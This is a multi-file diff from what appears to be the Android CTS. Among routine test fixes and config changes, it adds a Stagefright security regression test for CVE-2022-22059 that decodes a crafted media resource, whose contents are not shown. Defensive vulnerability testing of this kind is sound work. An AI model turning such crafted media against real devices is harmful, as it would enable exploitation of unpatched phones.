+import static org.junit.Assume.assumeThat;
+
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.graphics.SurfaceTexture;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
@@ -37,66 +43,51 @@ import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaPlayer;
-import android.opengl.GLES20;
-import android.opengl.GLES11Ext;
+import android.media.TimedText;
 import android.os.Looper;
+import android.os.Parcel;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.os.Parcel;
 import android.platform.test.annotations.AsbSecurityTest;
+import android.security.NetworkSecurityPolicy;
 import android.util.Log;
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
 import com.android.compatibility.common.util.mainline.ModuleDetector;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
 
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
+import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
-import java.net.URL;
-import java.nio.ByteBuffer;
-import java.io.FileOutputStream;
-import java.io.ObjectInputStream;
 import java.io.OutputStream;
-import java.io.InputStream;
 import java.net.BindException;
-import java.net.Socket;
 import java.net.ServerSocket;
-import java.io.File;
+import java.net.Socket;
+import java.net.URL;
+import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 import java.util.regex.Pattern;
 
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import android.security.cts.R;
-
-import android.security.NetworkSecurityPolicy;
-import android.media.TimedText;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Rule;
-import org.junit.rules.TestName;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assume.*;
-import static org.junit.Assert.*;
-
-import static org.hamcrest.Matchers.is;
-
 /**
  * Verify that the device is not vulnerable to any known Stagefright
  * vulnerabilities.
@@ -1818,6 +1809,12 @@ public class StagefrightTest extends StsExtraBusinessLogicTestCase {
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 231156126)
+    public void testStagefright_cve_2022_22059() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_22059);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 157906313)
     public void testStagefright_cve_2020_11135() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11135);
@@ -2409,7 +2406,8 @@ public class StagefrightTest extends StsExtraBusinessLogicTestCase {
                 MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
                 try {
                     ByteBuffer [] inputBuffers = codec.getInputBuffers();
-                    while (true) {
+                    long startTime = System.nanoTime();
+                    while (System.nanoTime() - startTime < TIMEOUT_NS) {
                         int flags = ex.getSampleFlags();
                         long time = ex.getSampleTime();
                         ex.getCachedDuration();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index e0731533935..3757b632d28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -39,7 +39,6 @@ import android.annotation.NonNull;
 import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -1260,11 +1259,14 @@ public class TelephonyManagerTest {
                 Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
 
         for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
-            countryCode = mTelephonyManager.getNetworkCountryIso(i);
-
-            assertTrue("Country code '" + countryCode + "' did not match "
-                    + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
-                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+            SubscriptionInfo subscriptionInfo =
+                    mSubscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i);
+            if (subscriptionInfo != null) {
+                countryCode = mTelephonyManager.getNetworkCountryIso(i);
+                assertTrue("Country code '" + countryCode + "' did not match "
+                                + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
+                        Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+            }
         }
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 8f548dbe025..8e6e4c98ded 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -16,6 +16,8 @@
 
 package android.view.cts;
 
+import static android.server.wm.ActivityManagerTestBase.isTablet;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -25,6 +27,7 @@ import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.mockito.Matchers.anyInt;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.any;
@@ -3898,6 +3901,9 @@ public class ViewTest {
 
     @Test
     public void testGetWindowVisibleDisplayFrame() {
+        // TODO (b/228380863): re-enable the test once the configuration calculation issue resolved
+        // on device with taskbar.
+        assumeFalse(isTablet());
         Rect outRect = new Rect();
         View view = new View(mActivity);
         // mAttachInfo is null
diff --git a/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java b/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java
index 7eba35c44ae..e4ead8d8259 100644
--- a/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java
+++ b/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java
@@ -386,7 +386,7 @@ public class MainActivity extends Activity {
             }
             byte value = 0;
             for (int i = 0; i < audioData.length; i++) {
-                if (audioData[i] != 0) {
+                if (audioData[i] == BYTE_VALUE) {
                     value = audioData[i];
                     break;
                 }
@@ -413,7 +413,7 @@ public class MainActivity extends Activity {
             }
             short value = 0;
             for (int i = 0; i < audioData.length; i++) {
-                if (audioData[i] != 0) {
+                if (audioData[i] == SHORT_VALUE) {
                     value = audioData[i];
                     break;
                 }
@@ -440,7 +440,8 @@ public class MainActivity extends Activity {
             }
             float value = 0f;
             for (int i = 0; i < audioData.length; i++) {
-                if (Float.compare(audioData[i], 0.0f) != 0) {
+                float roundOffDiff = Math.abs(audioData[i] - FLOAT_VALUE);
+                if (roundOffDiff < 0.001f) {
                     value = audioData[i];
                     break;
                 }
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
index 973e2dd46c2..aa4c8a70b52 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
@@ -16,7 +16,10 @@
 
 package android.video.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.media.MediaFormat;
+import android.os.Build;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
@@ -31,8 +34,6 @@ import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * Operating rate is expected to be met by encoder only in surface mode and not in byte buffer mode.
  * As camera has limited frame rates and resolutions, it is not possible to test encoder
@@ -113,8 +114,12 @@ public class CodecEncoderPerformanceTest extends CodecEncoderPerformanceTestBase
                 " Encoder: %s, Key-priority: %d :: ", mDecoderMime, mDecoderName, mHeight,
                 mEncoderMime, mEncoderName, mKeyPriority);
         int maxExpectedFps = getMaxExpectedFps(mWidth, mHeight);
+        double fpsToleranceFactor = FPS_TOLERANCE_FACTOR;
+        if (VNDK_VERSION <= Build.VERSION_CODES.TIRAMISU) {
+            fpsToleranceFactor = Math.min(0.9, fpsToleranceFactor);
+        }
         double expectedFps =
-                Math.min(mOperatingRateExpected * FPS_TOLERANCE_FACTOR, maxExpectedFps);
+                Math.min(mOperatingRateExpected * fpsToleranceFactor, maxExpectedFps);
         Log.d(LOG_TAG, log + "act/exp fps: " + mAchievedFps + "/" + expectedFps);
         assertTrue("Unable to achieve the expected rate. " + log + "act/exp fps: " + mAchievedFps
                 + "/" + expectedFps, mAchievedFps >= expectedFps);
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
deleted file mode 100644
index cf7457277f7..00000000000
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="CTS plan for foldable devices">
-
-    <include name="cts" />
-
-    <option name="plan" value="cts-foldable" />
-    <option name="result-attribute" key="display_mode" value="1" />
-
-    <!-- CTS tests to be excluded in this plan-->
-    <option name="compatibility:exclude-filter" value="CtsDeqpTestCases" />
-
-    <!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode-->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
-    <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
-         launcher always visible on one of the screens. -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
-    <!-- b/203779972: CtsCameraTestCases failures due to mismatching orientation between
-         device and camera sensor. -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 231d1164802..83209926b35 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -240,7 +240,7 @@
 
     <!-- b/194146521 -->
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
- 
+
     <!-- b/198992105 -->
     <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsdatom.permissionstate.DangerousPermissionStateTests#testDangerousPermissionState" />
     <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases[instant] android.cts.statsdatom.permissionstate.DangerousPermissionStateTests#testDangerousPermissionState" />
@@ -261,13 +261,24 @@
     <!-- b/198021503 -->
     <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.StorageHostTest#testFullDisk" />
 
+    <!-- b/231976012 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.DocumentsTest#testCreateWebLink" />
+
     <!-- b/216546060 -->
     <option name="compatibility:exclude-filter" value="CtsFragmentTestCases android.fragment.cts.FragmentAnimatorTest#saveWhileAnimatingAway" />
 
     <!-- b/216553645 -->
     <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.ECDSASignatureTest#testNONEwithECDSATruncatesInputToFieldSize" />
-  
+
     <!-- b/216546060 -->
     <option name="compatibility:exclude-filter" value="CtsVoiceRecognitionTestCases android.voicerecognition.cts.RecognitionServiceMicIndicatorTest#testTrustedRecognitionServiceCanBlameCallingApp" />
-  
+
+    <!-- b/216546060 -->
+    <option name="compatibility:exclude-filter" value="CtsMonkeyTestCases com.android.cts.monkey.CategoryTest#testDefaultCategories" />
+    <option name="compatibility:exclude-filter" value="CtsMonkeyTestCases com.android.cts.monkey.CategoryTest#testSingleCategory" />
+    <option name="compatibility:exclude-filter" value="CtsMonkeyTestCases com.android.cts.monkey.CategoryTest#testMultipleCategories" />
+
+    <!-- b/208909067 -->
+    <option name="compatibility:exclude-filter" value="CtsDisplayTestCases android.display.cts.DisplayTest#testActivityContextGetMetrics" />
+
 </configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index ed45728caa9..21ddfeff1c5 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -107,6 +107,7 @@ public class CtsConfigLoadingTest {
                             "telecom",
                             "tv",
                             "uitoolkit",
+                            "uwb",
                             "vr",
                             "webview",
                             "wifi"));